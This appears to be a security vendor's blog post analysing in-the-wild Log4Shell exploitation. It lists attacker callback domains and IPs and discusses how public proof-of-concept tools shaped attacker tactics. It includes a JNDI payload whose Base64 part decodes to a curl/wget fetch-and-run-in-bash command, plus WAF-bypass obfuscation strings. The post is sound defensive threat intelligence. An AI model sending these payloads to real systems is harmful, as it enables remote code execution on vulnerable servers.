JNDI exploits have been something to behold this past weekend. Many security teams across the globe have been scrambling to their posts, pulling long hours in identifying, blocking, patching, and probably fighting with infrastructure teams to make changes in order to patch this 0day now called CVE-2021-44228.
Exploit Evolution Seen Through Network Metadata
Over the weekend and into this week, Vectra has been actively monitoring attempts from attackers to leverage this exploit in the wild. The graph below pulled from Vectra Recall shows a flurry of HTTP request that contain the payloads to orchestrate the exploit.
Most of these original attempts were from the ToR network, and were trying to get hosts to call-back to the domain: *bingsearchlib[.]com. Whilst there is some speculation as to what this domain was dropping, there were no observed payloads retrieved from here by Vectra. Private analysis suggests that the payload was tied to coin mining, however, there may be other factors muddying the waters when it comes to ToR connections, which we will talk about shortly. Vectra has observed the several domains being used as the call-back in the log4shell strings (either packed into the User agent, the URI, or other plain text fields of the HTTP request). A set of domains observed by Vectra are listed below along with related domains named by fox-it open source intelligence*.
ds.Rce[.]ee
*bingsearchlib[.]com
*psc4fuel.com
*eg0[.]ru
*awsdns-2[.]org
*flofire[.]de
*nijat[.]space
*dataastatistics[.]com
*pwn[.]af
*log4j-test[.]xyz
The use of the exploit as it was originally identified has evolved, with potential attackers encoding the executable part of the exploit into a Base64 string on the end of the JNDI url, for example:
${jndi:ldap://1.2.3.4:12344/Basic/Command/Base64/KGN1cmwgLXMgMS4yLjMuNDo1ODc0LzEuMi4zLjQ6NDQzfHx3Z2V0IC1xIC1PLSAxLjIuMy40OjU4NzQvMS4yLjMuNDo0NDMpfGJhc2g=
Vectra observed IPs with this encoding many times in our metadata. These IP addresses along with related IPs named by fox-it open source intelligence are reported below.
45.146.164[.]160
134.209.26[.]39
45.130.229[.]168
45.83.193[.]150
172.111.48[.]30
45.137.21[.]9
205.185.115[.]217
185.162.251[.]208
45.130.229[.]168
79.172.214[.]11
143.198.237[.]19
162.33.177[.]73
133.130.120[.]176
163.172.157[.]143
45.137.21[.]9
34.125.76[.]237
45.33.47[.]240
152.89.239[.]12
45.155.205[.]233
194.151.29[.]154
158.69.204[.]95
47.254.127[.]78
An additional evolution we have observed in the wild is a second level of obfuscation being deployed by threat actors. This was another feature of the JNDI engine, allowing strings sent, to be decoded to their original format and then the connection to the LDAP / Directory service would be executed. These were observed as the following:
${jndi:${lower:l}${lower:d}a${lower:p}://world80
${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//
${jndi:dns://
While we noted this evolution at the end of our previous blog from December 10, it has actually since dropped off in use. Now why would that be?
Sadly, Defenders Drive Exploit Evolution
As defenders move to build defense against new exploits, attackers look to evolve. The drop of second level can be linked specifically to this repository on GitHub and this tweet:
The tool is a POC exploit of the vulnerability, and whilst it starts with terms such as “start a webserver allowing downloading the compiled binary,” it very quickly moves on to methods for bypassing WAFs. This is where the primary methods of obfuscation come from. There is an argument to be made that defenders need to know how to bypass their own tools to defend against those methods. By analyzing the types of obfuscation talked about, it lets teams develop better search patterns and tooling that allows them to detect some of these novel attempts as seen above. But it is undeniable that attackers change their tactics based on security researchers, and there is only so far you can build specific exploit signatures.
To use an old example, Empire was a tool designed as a Pentest framework built around PowerShell, but it very quickly got used by malicious actors to compromise and install their own implants often with modification to evade their creators. The techniques developed in Empire are still used today in IcedID and Emotet compromises**.
Log4Shell is no exception to this phenomena, just recently the researcher Márcio Almeida tweeted the following:
Which blows out of the water one of the mitigating factors from the original LunaSec blog on the Log4Shell vulnerability:
Sysadmins, SOC analysts, blue teams across the globe —I hear that collective groan. During an active phase of an exploit, something we are observing in the wild, a mitigating factor might mean the difference between giving you time to update, and complete rootkit installation as someone bypasses that mitigating factor.
Research like this is valuable and will further the conversation and the security practices as a whole, but during an active global event—it can also add fuel to the fire. Likewise, scanning for vulnerabilities during said global event could also be seen as counterproductive.
Chumming the Water or Just Making it Hard to See the Sharks?
One of the most observed attack attempts has not been from malicious actors or individuals testing the exploit, but in fact from security companies that have been scanning multiple hosts across the internet in order to identify vulnerable targets.
Vectra has observed at least two security companies, one in the U.S. and another in the DACH region, scanning hosts, using multiple obfuscation techniques, and making call-backs to their own domains. Whilst this activity may be seen as egalitarian, and a way to help people identify their own vulnerable systems, there may be an angle of drumming up business for their own services. Either way, a lot of the initial scan attempts were filled with companies’ own scan attempts, making identifying genuine malicious behaviour a lot more difficult.
Conclusions
Log4shell is not the first exploit to disrupt the world and I can confidently say it will not be the last. Attackers will continue to evolve pushing defenders to their limits to try and stop them from getting in. Log4shell is once again a wakeup call to the entire industry that security problems are not going away and no matter how much we invest in prevention—attackers find a way.
Want to catchup on earlier developments? You can read the first post on Log4Shell, here.
--
*https://blog.fox-it.com/2021/12/12/log4shell-reconnaissance-and-post-exploitation-network-detection/
**https://blogs.vmware.com/security/2018/06/carbon-black-tau-threat-analysis-emotet-banking-trojan-leverages-ms-office-word-docs-powershell-deliver-malware.html